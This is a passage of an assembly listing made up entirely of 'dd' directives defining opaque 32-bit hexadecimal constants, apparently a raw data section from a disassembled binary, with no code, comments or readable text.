		dd 8384088Bh, 0D8201EBh, 0BFE02F7Bh, 74ADEDC0h,	2803B3B0h
		dd 0C8375DA3h, 0C160A2CAh, 7FE8028Dh, 44210640h, 8194824h
		dd 8E21D060h, 1B2A30Ah,	94A92AF2h, 0F06EB411h, 30005DC9h
		dd 0F64EFA72h, 0D9D1B1h, 99E896AFh, 5020B2B9h, 11C940C0h
		dd 0E26E61h, 0A0C21EB5h, 253C9FF1h, 0ADE95600h,	279A7A08h
		dd 58530E76h, 0E5E0B846h, 67A7D521h, 8896E037h,	1E2F76C0h
		dd 0B04C06E7h, 0A1CEDA7Ah, 0CC7C95Ch, 115E2170h, 0E338097Dh
		dd 6883D491h, 930DCCDh,	301D2147h, 0CFFC05E3h, 80DD62EDh
		dd 0D474A951h, 0A2587760h, 0DEE1E5D5h, 0D6AF4B80h, 9F420D03h
		dd 4AB4B588h, 0E00BB0DEh, 5AC501D5h, 4FC1A5EBh,	0C4B018A0h
		dd 405CE428h, 67D48B9Dh, 74630096h, 751E419Ch, 0A000EF9Bh
		dd 5F26C7EDh, 0D678E7h,	255596F7h, 32249234h, 18001475h
		dd 0EBCCC8E9h, 7D3759A4h, 3EF20713h, 0F11DF5FAh, 7029852Ch
		dd 0C71C7E58h, 980B930h, 0BDB2CAEEh, 0C6D40E51h, 3D4B7Ah
		dd 36C33729h, 0E5006CD1h, 5AC144F4h, 1EFE8FF0h,	40F7B417h
		dd 0B63AAA42h, 3FB05B74h, 7D378100h, 0F7F327D5h, 4A9700C5h
		dd 2A5FC0D0h, 6000652Dh, 27F98FE1h, 3A9E074Fh, 1980DA52h
		dd 0A10EA542h, 0E6002E85h, 0CB15AD40h, 35697h, 0AE58725Ah
		dd 0ACC410C6h, 6008C74h, 1827BE70h, 654EE97h, 0AA26AF9Ah
		dd 250C407Eh, 18D8A3C8h, 0B4403046h, 0A5178C58h, 8081ED3Fh
		dd 9671F81Eh, 60ECA892h, 1BCF20AEh, 0E0072710h,	0DDC104A9h
		dd 0F5297740h, 58866128h, 60A57BAEh, 0EC3BDA1Ch, 21BF8622h
		dd 12B9AF70h, 0D90457h,	0EF5E4A49h, 2460BC33h, 0F5161C50h
		dd 24A420h, 0D5FD2F1Dh,	7575FC4h, 0D4AFC8F5h, 0C5308E98h
		dd 677E19D9h, 0A80F0148h, 0AF63EED6h, 0A1384011h, 0E501B718h
		dd 6BA78251h, 40808627h, 0D8FA94C0h, 0D7071045h, 0FEF032B2h
		dd 9D284740h, 6E8200EDh, 2C6BEF74h, 8CCF77Ch, 3E21E4h
		dd 3DA882E6h, 77410DE5h, 48C83C00h, 91468CEDh, 66740379h
		dd 471CE28Eh, 80B655B9h, 0CD2FD38h, 63C24D7h, 33E1CC03h
		dd 0AF60080Bh, 0D734F321h, 1AD8BDD8h, 56E68604h, 280C4F1h
		dd 9BD2D5Ch, 38A22AADh,	0BA472980h, 0FD0264E7h,	0B1A4DAB2h
		dd 0A01082BFh, 0B2590C21h, 2F183D74h, 6711429Bh, 0EDBE006Eh
		dd 0B6817FDCh, 8CC6FC4h, 52176h, 0CDDBBE66h, 0C41971C2h
		dd 5E7BFE01h, 0A0215CAEh, 469C68A0h, 82EB0234h,	31FF7460h
		dd 0E43C10E8h, 92E00082h, 0D3BAC89Ch, 1D0E97E2h, 83EF18F0h
		dd 5C9BD8h, 453DE981h, 57890ADBh, 836DA20Eh, 0AC762A10h
		dd 0F607844h, 3C2325D7h, 0A8110Bh, 0A4D737F2h, 0C9E2411h
		dd 1EC18245h, 8144768h,	809435FAh, 1431F3C7h, 78F4E736h
		dd 0ED70CA5Ch, 8A4A1CA0h, 0AC2960h, 8756EBDAh, 0B7E896B8h
		dd 176F1D00h, 0E49A78F6h, 40D50011h, 3073585Dh,	0B05CFC56h
		dd 0FA7A008Dh, 9D9706B7h, 0DE51266Fh, 27EB0090h, 2D314124h
		dd 30EC251Dh, 0C0867C80h, 0A3F4E1h, 3C9D608Eh, 7DEEE628h
		dd 629CBB00h, 0E3E55684h, 0A0D000D9h, 1A4C2286h, 0C81FE132h
		dd 2AC08B9Ch, 52E98C6Ch, 8770C061h, 0B7ECF517h,	88FE401h
		dd 0BD261A5Ah, 0CEB4A7D0h, 0D0A06118h, 890E17E1h, 1801AA42h
		dd 0B9E62BD3h, 61B880BBh, 2F3446A8h, 2CC90049h,	944C313Eh
		dd 0DF0A4EEEh, 14B4BAA6h, 69E7D500h, 1A7E69Fh, 526BECE0h
		dd 0B86A5E16h, 51B400C8h, 0AE891E94h, 0ECD2F2A4h, 0B32701C6h
		dd 0DD856D3Ah, 0E6DEDC07h, 0BA328803h, 0E88FBCEAh, 796917h
		dd 38E1051Fh, 41ABB34Fh, 3E24A400h, 3D78B0EDh, 48DB686Dh
		dd 400F7E04h, 976CB015h, 0D5860100h, 0EAB9254Bh, 44C2007Ah
		dd 653CAC0Eh, 0FA030540h, 0F0EB4ED4h, 0A5292188h, 42A8A23Dh
		dd 9C8D1139h, 0DC08E121h, 32D91A4h, 4D648D13h, 6D858861h
		dd 698A00C1h, 8B757A7Ch, 0C800436Bh, 0DAB51F96h, 2CED20h
		dd 3EA774F5h, 1BCC5B33h, 0AE238E3Ah, 66001FF9h,	0EAD9790Ch
		dd 3F900074h, 92D6B7F6h, 0DE00658Dh, 40B922EDh,	0FB04B3Bh
		dd 0D5C17B39h, 8AA3DD9Fh, 0BC8C563Dh, 5380273Eh, 50456286h
		dd 9513754Bh, 0E3C0D705h, 19EA607h, 77CBA2E0h, 70E3A12Dh
		dd 89001FACh, 0E59215F7h, 3A0F4630h, 3A079795h,	0B1EAE77Dh
		dd 8049F084h, 0AE2FD810h
		dd 0F69ADC4Eh, 0C4991FEFh, 4BD78097h, 7D333D5Ah, 44D4F903h
		dd 0C8D334CDh, 60EA42BFh, 7FD941F5h, 44006884h,	151A2994h
		dd 0CEF270h, 509D1031h,	78F5E4D2h, 2EDC653Ch, 3800E254h
		dd 0BEF07D8Ch, 8770C0DDh, 9FA8A5B5h, 6779070Bh,	0E6D1017Ch
		dd 20810F60h, 8CCBEFE9h, 0FB9C300Dh, 2725B200h,	5608C9C6h
		dd 7E0FF084h, 4CDD0086h, 9A285F98h, 0EA00BD89h,	1D6AB7EDh
		dd 0F872470Fh, 4F2200E3h, 44049362h, 0DC008392h, 3626EFE4h
		dd 35FB75h, 4B61410Bh, 154C2BC2h, 7746D00h, 0A58BEC89h
		dd 0B5AE000Ah, 7A72A044h, 5E71718Eh, 24C4AB01h,	8FA321ADh
		dd 671A93C8h, 0E0AF1851h, 0D0114D66h, 1EB00900h, 91CD26C8h
		dd 8A6E01BDh, 8C417ED4h, 4F32C0E4h, 40573800h, 73B4DE0Ch
		dd 0CF7458h, 0D48CF375h, 0BF66AA98h, 79009890h,	2E70230Dh
		dd 1D4D7FDFh, 40EDFE82h, 0BAC39C40h, 89007703h,	996F0C21h
		dd 78B205DFh, 0C5790FB8h, 0E940174Bh, 1A6932FBh, 8738E600h
		dd 8EC84DF2h, 0B9530030h, 986C106Bh, 6F1C83E4h,	0D0C27B19h
		dd 4874F23Dh, 1AAA30Ch,	5F852451h, 30B649ABh, 0E600895Bh
		dd 5E67C4C5h, 154BECh, 868B59B9h, 0D69AB83Dh, 9CA95601h
		dd 0FDD7C7A4h, 37A43F8h, 0BB1FA1D1h, 71A8F528h,	8D00CEE4h
		dd 5FF0169Dh, 0EF39507h, 0F60D924Eh, 4762F260h,	0B70088A9h
		dd 3386317Eh, 0BE12A6h,	0E6D93941h, 296BF163h, 0E885EE0Ah
		dd 77009E2Fh, 0A46EFA27h, 0FF4300FBh, 14DE9737h, 4800AFBFh
		dd 0D2E47640h, 3D8BD55h, 0A681F13Bh, 58C36F68h,	310F82C3h
		dd 404A43B7h, 0E4EE5F77h, 5A962CC5h, 6A3900A7h,	3D610A64h
		dd 0B74F1C00h, 793032A5h, 0BAAF435h, 0E79123EDh, 80292E87h
		dd 41996C3Eh, 0D879060Eh, 0C2D48218h, 2B09C00Bh, 3121002Ah
		dd 0B1E28B60h, 937B9BADh, 6100A37Bh, 0A91F98F3h, 5813ECh
		dd 40766734h, 4205E4FEh, 0FA52F202h, 0E0455BC3h, 3E6112Ch
		dd 0BCC72972h, 74806F38h, 0B60069CAh, 34FEC681h, 7B54CECh
		dd 22F37852h, 3D73E202h, 0B17F4060h, 21008FB0h,	40E11091h
		dd 985ACFACh, 4F120080h, 737E9BE7h, 600091E5h, 0DD098975h
		dd 2676E83h, 1086766Fh,	0AC6097CEh, 0F2004C88h,	0AAF67F91h
		dd 60D9A6h, 0DA66D6BBh,	33A782D1h, 0F8FD49h, 0C86C13C5h
		dd 9F8A4D9h, 1F191B73h,	9DC02A80h, 2A006DECh, 0FDEF3536h
		dd 905D973Ch, 7217001Ch, 0F96F800Ah, 280158BFh,	8FC8EC67h
		dd 2E805526h, 0C5A05238h, 3D0E1416h, 0A0FB5CEDh, 0F1853659h
		dd 0B4A0137h, 2667BB29h, 179DCC78h, 10091E4h, 4D42D452h
		dd 7FD7E9h, 781C4316h, 0DED265AAh, 1C12E58h, 53AB0140h
		dd 99C8E274h, 6468005Dh, 0A52EEC56h, 364D9192h,	0C50700B8h
		dd 0DD6E0250h, 0E435013Ch, 14A2E667h, 0A83482CBh, 0C08A3FF6h
		dd 0B2F310h, 7915D9D8h,	0E5BB4791h, 92175502h, 55F99EBCh
		dd 6FECE580h, 5B72B365h, 4C06CAEAh, 90CFC291h, 0DF85005Ch
		dd 2A48FA62h, 0BA1DBD46h, 9418468h, 85CB02E9h, 0E66BABF8h
		dd 0C4080786h, 0CEE69CD5h, 0ACA88CE0h, 0DE016EC7h, 7C571F36h
		dd 8740C2BCh, 17EAD6h, 0B78348B8h, 2473D2DAh, 0F01AA00h
		dd 0D83404D5h, 3D0804A5h, 8090DB71h, 81B1ABD0h,	2F38BD04h
		dd 8C06EB5h, 0F111ECh, 67E790Ah, 0BFE6D40Dh, 83F7600h
		dd 2A6B4739h, 4C8B00AFh, 0A264794Eh, 6700CF18h,	2B73C169h
		dd 27F1DF0h, 0A66A32E8h, 9860EEC0h, 0E00CCCEh, 0B5CBFBEDh
		dd 9A0730h, 49092CAEh, 52874899h, 1C8461Eh, 5568AB80h
		dd 28046BF2h, 16B25BA6h, 65BA31h, 0D29AAFC4h, 0CB00D348h
		dd 9EC82D90h, 24B167h, 23B82C6h, 934E7440h, 35946F00h
		dd 0D1DEE8BEh, 96900076h, 0F5F759C8h, 6100F0E3h, 0F3C4A945h
		dd 787C9C70h, 6F353BA1h, 5BB77180h, 1AB9CEF8h, 8A346116h
		dd 0A659EC00h, 1EE29A08h, 0A4E16743h, 6F690E90h, 0E3CC75EFh
		dd 48038A10h, 0C50B40B1h, 0B48CD071h, 0DDDF00B5h, 1DAE784Dh
		dd 5700B701h, 4081A8F0h, 0A980B0h, 0FB9FBA3Bh, 0C19839FCh
		dd 84593300h, 21B32A0Ch, 0F05E5840h, 6100E33Ah,	0E246AAAFh
		dd 0D07FDCAh, 0B9B7C8D0h, 39FB0500h, 0D7A82C1Dh, 3A3D0078h
		dd 0E17BA0F3h, 938A2A00h, 0F9F8982Ch, 66E2C8h, 3B0E7C6Ch
		dd 302EBC3h, 0CB005CB0h, 960539E0h, 0ADD26Dh, 0D82240B5h
		dd 67D6F8A8h, 42004EF2h, 3E5546C0h, 0DE31A2h, 7DB59C78h
		dd 0C3126256h, 5C0CCC3Eh, 89870000h, 0D6021F4Dh, 0E40F0007h
		dd 68A9D2CAh, 81EC23C5h, 3CCE4F3Ch, 0D4A3804Ch,	0DE99257Bh
		dd 0A02B00D7h, 0CE3D5F17h, 93ECD224h, 0DC58C000h, 0BAC90DDFh
		dd 3CF80097h, 36BCBCDh,	100164D1h, 25135DA6h, 9FFCDB12h
		dd 0C5CA00FDh, 2E688CACh, 20DEB935h, 0FFF89093h, 62AE027Ah
		dd 568BC59Ah, 0E7226E0h, 1EDE2202h, 409FBD47h, 0F42E8D26h
		dd 0CD8FCE1h, 0D10DA34h, 0FEE29719h, 5183F700h,	0BF280331h
		dd 3D1CF23Fh, 5F80135Ch, 4F522962h, 0EE6E4E6h, 0ACF94519h
		dd 0C3E01121h, 0D62D5C6Eh, 6FD0B337h, 6D7ECBE1h, 0C7DDCF57h
		dd 12416073h, 7400EAFBh, 2D8EDB02h, 50903C9h, 20107697h
		dd 2C44C0B0h, 0B9009808h, 0DF87A5B8h, 0EEEB5366h, 89F25Fh
		dd 0E25E6869h, 0EFB2381Bh, 0BA0060FCh, 0DDC0F399h, 37D54F8h
		dd 0F2F992BBh, 30DFE52Bh, 1533D2A2h, 84D1CD00h,	0DFC1B005h
		dd 36F8092Ah, 784083E0h, 452C23D8h, 0F0801876h,	5D1F1732h
		dd 852D1D47h, 0E921C013h, 0B2727B70h, 5FCBC98h,	1E8A9007h
		dd 6680372Dh, 6B87819h,	70BA2F39h, 0F400296Dh, 0B0AE5253h
		dd 6A18BDh, 0FA05EEF8h,	0BAF28334h, 4F804260h, 309CC508h
		dd 0CE16A80Dh, 5001B5Fh, 6E7FD468h, 372642ABh, 9C106B1Ah
		dd 4C0BFDEAh, 80CCE9FFh, 0AEC0718Ch, 0F5A41327h, 0F934006Bh
		dd 24AA75D5h, 0E3C22F07h, 0C0C0BC3Ah, 157B08h, 0A046723h
		dd 0C8DAAEBh, 24E69300h, 0B9E8E4BDh, 4F8800EAh,	71F36C67h
		dd 0DF0092D4h, 9C37C0A1h, 48C42DE1h, 60045C8h, 77653FDAh
		dd 180099D4h, 0BAFA2BC5h, 17616FBEh, 0B97368h, 48EC33FFh
		dd 0C4008386h, 0B60B2088h, 0A60D57h, 3AE42956h,	4CC8D68Dh
		dd 636D2500h, 0AB774D41h, 99760039h, 0CD373FF7h, 0AF0087D0h
		dd 52124631h, 23819Dh, 0D1BF53DFh, 0D3953FCEh, 0E923D04h
		dd 8BC09B47h, 24DC627Eh, 16B1FE9Eh, 1ACC001Bh, 64B0C212h
		dd 7BD7AF00h, 22D41E32h, 0EB770048h, 1D5FC996h,	0B600CADDh
		dd 76877EC5h, 90997BF0h, 0DEEC72h, 0ED2EE1EFh, 1DA4CB5Fh
		dd 0C20A780Eh, 0B9804052h, 1B4E8h, 0B89B4226h, 3D4F4760h
		dd 508E0A0Eh, 0F699A3DFh, 23EF98F9h, 0E48F0027h, 0AC611CA6h
		dd 0EE01246Eh, 0EA54EB3Dh, 489DB697h, 0FC4940AEh, 89DBA19h
		dd 3B073E00h, 756B139Fh, 0A3DE017Ah, 4FA9C262h,	4BB4702Ch
		dd 950CE500h, 0DD4AD94h, 783002BDh, 8779C42Eh, 0F8755463h
		dd 32D983Fh, 80AD45BEh,	0BB33E157h, 2EB452FCh, 1148B05h
		dd 0FD3640F4h, 0B2B47060h, 0C7520h, 0A82E2379h,	13C4B507h
		dd 7D00AAB8h, 0A2E1BCC8h, 39119CDDh, 7780F322h,	0B8685384h
		dd 4C006C06h, 0DE25D3D5h, 16CAF420h, 1944583h, 127D1C14h
		dd 0C47ED066h, 0DB5B0A00h, 4A3ECEDDh, 2CE74806h, 6982F702h
		dd 9CE1C15Ah, 0C4BC71BFh, 96003F0Dh, 31154C50h,	0E81DEE80h
		dd 292C605Fh, 2F33D6F9h, 0A7C89C01h, 0AD59ED3Bh, 218010C1h
		dd 0A35EA26Dh, 2800CB79h
		dd 752C71F5h, 0B1BE0Bh,	92D9BD87h, 644DE2EEh, 930F3Eh
		dd 9E2A795Dh, 2FD74F2h,	5A3FB5Bh, 6E1A092h, 0A218809Bh
		dd 5C6FAC7Bh, 63E0C030h, 762B89EBh, 2C6B9F00h, 0E5452E33h
		dd 0DF070374h, 38CBE0D6h, 10219690h, 722C795Ch,	1ABBE900h
		dd 2EADA87Dh, 72EAF486h, 753B00C5h, 47E74F8Dh, 0A91CFC26h
		dd 0BBC0E009h, 212E4E2Dh, 0D6D40F31h, 1E7E5A2h,	0F8A371Eh
		dd 3953E660h, 0E0EADAD9h, 320E9BFCh, 80905069h,	0ED065B49h
		dd 3D860E22h, 9401E82h,	77165957h, 8F1FCD7Fh, 7D80B111h
		dd 58B59DD7h, 0E80301FCh, 1F47AAC7h, 8BC9E878h,	0FAD83206h
		dd 1702BFF7h, 1EED6465h, 295A47AAh, 3E5C50CFh, 14009457h
		dd 0F3D751C6h, 1E109152h, 0C0A7EF73h, 0CA61C182h, 3601E597h
		dd 0FD439634h, 0B300D7FAh, 87008479h, 0BD17DCCEh, 0EE2EACAFh
		dd 98CC001Fh, 0E746CA53h, 6C00552Ah, 0E0AAD56Bh, 7E1314Ah
		dd 4445EAD2h, 192D807Eh, 524D6CEh, 1780E4A5h, 0DCC924Fh
		dd 97E60028h, 52218320h, 50C0B487h, 84F3D12Eh, 0CE6D1DE4h
		dd 0FB065C4Ah, 0EE0FD04h, 0BC080D2h, 0D4EC4D25h, 0CA0095F8h
		dd 6FB8707Ch, 3473904h,	0BB176328h, 383ED8C4h, 40ED00E1h
		dd 0FAF3E314h, 0F41100E2h, 99194BC5h, 0F5128037h, 0C0016EBDh
		dd 7B4C3272h, 1DDC5C20h, 5487D1Eh, 80945EDEh, 9D44ED24h
		dd 0CF6DB900h, 0E8C36567h, 5C773D7Bh, 0FE84287Bh, 0A85300BAh
		dd 11EB2350h, 2503726Eh, 215DFA95h, 48C6F4h, 0C2CB6619h
		dd 94148C59h, 2F91E500h, 0E8093620h, 244100DBh,	0F5CE8206h
		dd 0E30243AEh, 0D0607C70h, 0A1D440D2h, 2A8B17F0h, 72870020h
		dd 188909F4h, 8EAEBB00h, 0A3A83E53h, 56B100E0h,	0DF22B408h
		dd 0C13A7A8Dh, 14E181D4h, 1370274Ch, 4028D99Dh,	1D68E98Eh
		dd 0A001605Dh, 37FA191h, 0AE8BAD0h, 2B8F00CAh, 93816BAAh
		dd 49001E97h, 0B004EEC3h, 7792FB1h, 0D2E3CC88h,	0DC32309Ah
		dd 8A0E8B53h, 250A2B15h, 14C0C29Fh, 0FA5B6EBCh,	5CED0037h
		dd 3A09E297h, 7C009C63h, 842DEA21h, 227E14h, 0D0B065EBh
		dd 63D34786h, 0C99110Ah, 0F103D421h, 0A28BA0A1h, 0C28B429Ch
		dd 0A35FC07Ch, 0F6E8004Ch, 0A2633F6Eh, 780B31FEh, 0F49C46h
		dd 24C4DD59h, 98DF989Ah, 0C5350014h, 0CAE04AFFh, 7E004B4Fh
		dd 59D70412h, 30BADBDDh, 3770E602h, 723BCDC0h, 121E009Bh
		dd 0D77C9FF1h, 1C583ABCh, 93A0B506h, 4B018856h,	0AEA1E4E0h
		dd 5CCC7E71h, 119728E7h, 8E3000B4h, 9D935B4Ch, 6902A414h
		dd 0D5AA0CC2h, 0DDDFC2B3h, 0F6F5A581h, 4CBBC4C9h, 0E73CA00h
		dd 35F2A93Ch, 0D833488Dh, 492CE286h, 75F658h, 19CDF4A6h
		dd 3B5008h, 812C33E5h, 9A182844h, 807528CBh, 900948E7h
		dd 0FAA0983Ch, 5FF62678h, 3EFF00F4h, 9275A4E1h,	2425A700h
		dd 0F4D879DAh, 0E50E0E12h, 30219F5Ch, 0C4AA0D8Fh, 91D3902h
		dd 0D4C0EE3Ch, 0B73D667Eh, 0BF500013h, 4CDD5F64h, 111F4156h
		dd 0ED00BA7Fh, 78A9091Bh, 0B2180006h, 43A46D3Ah, 100041D1h
		dd 9EA7FE7Ah, 9A1205Ah,	0B18070D7h, 90C47C60h, 1C37BD00h
		dd 3C403248h, 20D507A8h, 0D033451Dh, 4D839A02h,	0FD242973h
		dd 50034CFh, 0E8C5CD19h, 240FE8A9h, 40BC1CCh, 0A01E0A4Fh
		dd 0F9006244h, 0BE7561EAh, 9C9E32FEh, 83EE0008h, 7C19DC1Bh
		dd 0AC369500h, 568418D4h, 71C7004Dh, 90C20538h,	7B00ADA5h
		dd 1962AAF7h, 6B36614h,	289DB97Ah, 0BD711878h, 3D1F7000h
		dd 0B5F02311h, 887A161Ch, 0D8CC02B8h, 560074EDh, 23DE3FAh
		dd 0B4DBFD5Bh, 77E00B37h, 8F003531h, 14484EA0h,	7CA2170h
		dd 30FE395Ah, 0C2F953A4h, 648E6800h, 0DD268BDCh, 0FB5C005Dh
		dd 0A58C81D2h, 0CE0AA7CCh, 8CAA4AC6h, 2FED093Eh, 6EDC80A4h
		dd 0EE211C82h, 7A120F79h, 8580777Ch, 0D1B030C0h, 0B86C7D07h
		dd 0D0B06DC9h, 8BDD27h,	31AF2DD6h, 8FC663Dh, 73B89E4h
		dd 37638343h, 32C095h, 0B7B42519h, 0A86D3C76h, 21E5240Bh
		dd 225D004Bh, 0F46E191h, 1510EECh, 1FA80F80h, 400EAF6h
		dd 6F67FF3Ch, 828574h, 5DA65714h, 0C72DBA84h, 50302301h
		dd 0B0D2907Ah, 40EC689Ch, 0B915FE82h, 6500845Bh, 87A5B5B7h
		dd 7496011h, 83267CD6h,	1421A019h, 6D177339h, 1807BF82h
		dd 8A30CAF9h, 110DAAh, 0A485DAEFh, 0B756A84Eh, 0AB7BA300h
		dd 2603A2ECh, 25B3EA1h,	47AF2A00h, 0B890C329h, 0E770571Fh
		dd 2EDBDA40h, 58FD9758h, 17926DEh, 0B4B546Bh, 0D86C1152h
		dd 0C2987007h, 211F1E00h, 8D65F2Dh, 0AB2900BAh,	0FFF0229Eh
		dd 610924E2h, 0C3ACBEh,	6E0EB7C8h, 4440264h, 8BBFEE35h
		dd 0F0038F8h, 0D6D8497Dh, 508FD53Ch, 7136FA7Ah,	590C0091h
		dd 3E2A3338h, 7807DE14h, 4ED8B341h, 57F7E571h, 0BFC8B20h
		dd 4DD33F04h, 0A23DD400h, 0A003B373h, 35255ECBh, 0C73BC047h
		dd 0D16C18C9h, 0C62E1034h, 75683A01h, 353CB937h, 0ED3861F6h
		dd 31BE7BC8h, 91A06C86h, 0F0A98070h, 0E5FE9F2Fh, 0E8ECE837h
		dd 7F321B75h, 5DC82171h, 410C0BBFh, 805870Fh, 1E704FEBh
		dd 611FE8h, 330CA581h, 3600EEAAh, 0DFBC1966h, 71C1FC2h
		dd 0E364A0CAh, 0FF05C022h, 760165EDh, 8C95FE4Fh, 0C0D6DBBCh
		dd 39FE4AEh, 589099CFh,	0A900897Fh, 7A03BEDh, 0CEAB604h
		dd 906573CDh, 0DFF08529h, 315ED2Fh, 134DBE4h, 0E64F56B8h
		dd 0D04EBA38h, 500CA03Eh, 0D02FAFBCh, 7152066Dh, 0F83FEF89h
		dd 8C00C572h, 4BE8D7D5h, 0EC21CEBBh, 5534020Eh,	4A15240Ah
		dd 0D2007054h, 0EACCC27Eh, 4EB31332h, 31F50076h, 6EC5E567h
		dd 58E81500h, 0BE3E8A7Ah, 0F97F0337h, 133C2AD2h, 8D65D000h
		dd 500325B5h, 0FC4B002Bh, 0A663647Eh, 6E003D0Bh, 2DE9F18Ah
		dd 4C22959Ah, 44001A90h, 0AAFE277h, 0B307BC64h,	85C06CEAh
		dd 2DE449C0h, 9892037Ch, 0A9479B05h, 626797F0h,	7F07EB7Dh
		dd 50490375h, 34B007A0h, 0BCEE42h, 53D9BE59h, 5F232938h
		dd 0A053000h, 0BA8689A3h, 8C6900ECh, 0FE36FDFFh, 770197F3h
		dd 63E001C2h, 0B4504D43h, 99C9AAh, 2D8F4AF7h, 0EE0642D7h
		dd 0C2806100h, 0A89C27F6h, 29F55C17h, 0EC9DAC04h, 0E834C33Dh
		dd 7954ADCCh, 9A1A5800h, 0F5A4AAA7h, 0B7DF28E3h, 0D4D854F9h
		dd 27320070h, 8A3F483Bh, 0BE60BD67h, 5B03D181h,	273500E8h
		dd 3E63911Eh, 0B460BA68h, 0EDD5CC21h, 6437F5Dh,	2584DC46h
		dd 0EFE47964h, 198F6800h, 9F2723Ch, 32C6011Dh, 0B48D271h
		dd 6829866Fh, 6051B2BDh, 0AE439822h, 870193B5h,	509E7D35h
		dd 73F0FEBDh, 0DFB848B7h, 4033DF4Ch, 95AAD641h,	0A7808825h
		dd 7B02AFh, 4DADB085h, 354C6861h, 0D948B100h, 386717ABh
		dd 4E550024h, 6179C278h, 2900BE99h, 0D9B5DDACh,	1D9D5E7Ah
		dd 4681FA7Bh, 1051B75Dh, 0D8610487h, 10806862h,	41F488DFh
		dd 0D30908BFh, 80518F33h, 0E5504C63h, 0A8DE3BD8h, 83DC7B86h
		dd 772029E0h, 616D0034h, 0CAE90312h, 7F007578h,	2353A77Ah
		dd 580B6AC5h, 501D6401h, 0DD14004Eh, 0A036FF0Dh, 16005FFCh
		dd 1DC20CC0h, 216CBAh, 0F303A335h, 0DBDEF5ADh, 7A332500h
		dd 0A23F5C87h, 91C10E92h, 42202A68h, 0D518EB4h,	4B6BF00h
		dd 0BBA01CDFh, 0D13F0071h, 4D41A952h, 153E43CEh, 0FE0F0098h
		dd 0A42A2E4h, 0FADCF65Fh, 64FABAh, 0C6F0AB75h, 0B6C41E4Dh
		dd 0AE7AD700h, 8A044070h, 5C20002Dh, 82921332h,	2600F7E1h
		dd 45813EECh, 55DE57h
		dd 7794A198h, 0D10185B5h, 3B5E7600h, 1F06F821h,	964850D6h
		dd 0F30A3F4Ah, 2A1B7300h, 4B37DEBFh, 0CFA63F00h, 0CD395BC7h
		dd 911C00A2h, 32AC5473h, 6300A846h, 4979E8FBh, 8EAEF0h
		dd 0D3DCADF4h, 8F61CDFAh, 0F77A4400h, 2CBB71E5h, 0C4C10022h
		dd 0C9AB1795h, 440194E0h, 78FDDE8Bh, 32D062A3h,	868700CFh
		dd 383A721Ah, 0C600DD76h, 272B3E70h, 57B28Dh, 0DB6633Fh
		dd 2081B747h, 11B0F900h, 0C4F7A5C7h, 797602FDh,	0E170A050h
		dd 917B0C60h, 0BE00B170h, 30A6C682h, 365E8Ah, 8EF2700Bh
		dd 5727729Eh, 1C063490h, 4802BFEDh, 0A5060098h,	9E702D17h
		dd 28003213h, 818FA966h, 0ECD535Bh, 5E238267h, 350E16E0h
		dd 51002228h, 2F8DEAA8h, 0B6DD34h, 8EC01218h, 9C4D070Eh
		dd 5CF2D200h, 0C5223DE9h, 0A5EE1E46h, 0CE0E00BDh, 0F372A66Dh
		dd 518020DCh, 5FBC1DF6h, 2A0B00AEh, 1794D255h, 0B21FC698h
		dd 0C1471408h, 804FAD93h, 0AABFA268h, 0D55700A0h, 0DFB2FB34h
		dd 0BD0E9AD7h, 479B675Ch, 0D6C0473Ah, 8E73ACh, 0B40C1450h
		dd 53F18209h, 4FA21B00h, 88BB27EBh, 6590002Bh, 0C73A9831h
		dd 743ED546h, 0B8F18F49h, 0ADA42038h, 0A720C0h,	7F58023h
		dd 5FD8A021h, 3B3D2800h, 0DFE7504Ah, 0F3D00018h, 98413C4Bh
		dd 2B005B0Dh, 606A6B1Bh, 5C789364h, 7F380DC1h, 8F801880h
		dd 0FA054871h, 68996500h, 118EB7E3h, 0A02E00E4h, 0E791CDD7h
		dd 6900D4BBh, 0B3DFE87Eh, 2E128h, 49C7252Ah, 0EC09F59Eh
		dd 2FD78600h, 3BFF9935h, 0C6C524B8h, 0B2F3830Dh, 4DA08824h
		dd 0E500E2DCh, 6566AF57h, 1CBE80A8h, 0C0FC0A9Eh, 0D6789FF3h
		dd 937461E7h, 3C00E474h, 0FA312621h, 0F8799Ah, 0B81AD404h
		dd 86B987F6h, 65C67800h, 0CFE42FB5h, 59D10957h,	688EA29Eh
		dd 5C3AC9A0h, 8300313Ch, 17744414h, 0FD2EE1h, 0ABD1F28Ch
		dd 613F8F51h, 1BC9401Eh, 825EEF40h, 0C24E67h, 52EBC81Ch
		dd 0ABD23DB0h, 7301E12Eh, 98568203h, 0C29DF8B4h, 0A3840070h
		dd 0C73C1DBDh, 0C92832AAh, 0AC0F87B1h, 0E01776A6h, 52723B3Ah
		dd 6ADF0225h, 0CE1312ADh, 80E8F960h, 80CA563Dh,	1B5A263h
		dd 1C14686h, 0A7BEA1A8h, 24C73FA4h, 0A5001A18h,	0DDC9308Bh
		dd 4EEF6A63h, 2047B016h, 8FDC801Dh, 0C5A0CC98h,	292E3862h
		dd 0CFB25880h, 0A44FAF9Ah, 0ECFC8F04h, 0A8C18830h, 0EFE84CF9h
		dd 0D170011Fh, 0B59FC169h, 26CDD418h, 4188C860h, 0E3F657Fh
		dd 1FE249C2h, 8FB3A8E0h, 0A40087E1h, 85DEF34Ch,	0E52AF39h
		dd 0F22BD62Ah, 5816E5h,	9FE3BA4h, 47017C4Eh, 58F8B01h
		dd 0E1F05B3Fh, 98780075h, 0E5A3442Eh, 0CB13F069h, 0C006C74h
		dd 35609630h, 19C9001Ch, 0F2891AFBh, 0C704635Fh, 0F40CE513h
		dd 0ABDCE780h, 74BE00EEh, 149EF321h, 0BB009301h, 956C2E41h
		dd 0CBC7716h, 0B1880F48h, 0C83B2AD0h, 0A6C700CBh, 26F40B87h
		dd 0B03A00F0h, 68B90D72h, 223898EFh, 0E1E80046h, 693D486Dh
		dd 2E4F0084h, 0E30933FEh, 7202CC3Ah, 0AF800A59h, 0F060755Bh
		dd 0AC006183h, 2FFB9D04h, 0A197F9h, 43F4DEF2h, 333547D7h
		dd 0A5A3871Fh, 0A200B21Dh, 2ECF5EE6h, 1F193B97h, 0DBFC3160h
		dd 9360F532h, 0CB07C011h, 2FE500BFh, 8A06A6C3h,	0F3771D25h
		dd 0C080B702h, 0E0C2A304h, 0FB5139D9h, 5794FCh,	2B3ABA82h
		dd 1AF724BCh, 1A8D5Ch, 0B8787F81h, 9186DFh, 0C90DEEE0h
		dd 0C149F895h, 105DFC00h, 0E2BE0B53h, 9FD709BCh, 0A8009EA8h
		dd 0A5A6369Ah, 2BD92500h, 0FC228C7Fh, 69AD008Eh, 0E95E49B3h
		dd 247EBA9Ch, 0A22CE57Dh, 0C6001B30h, 61CEABB6h, 86560038h
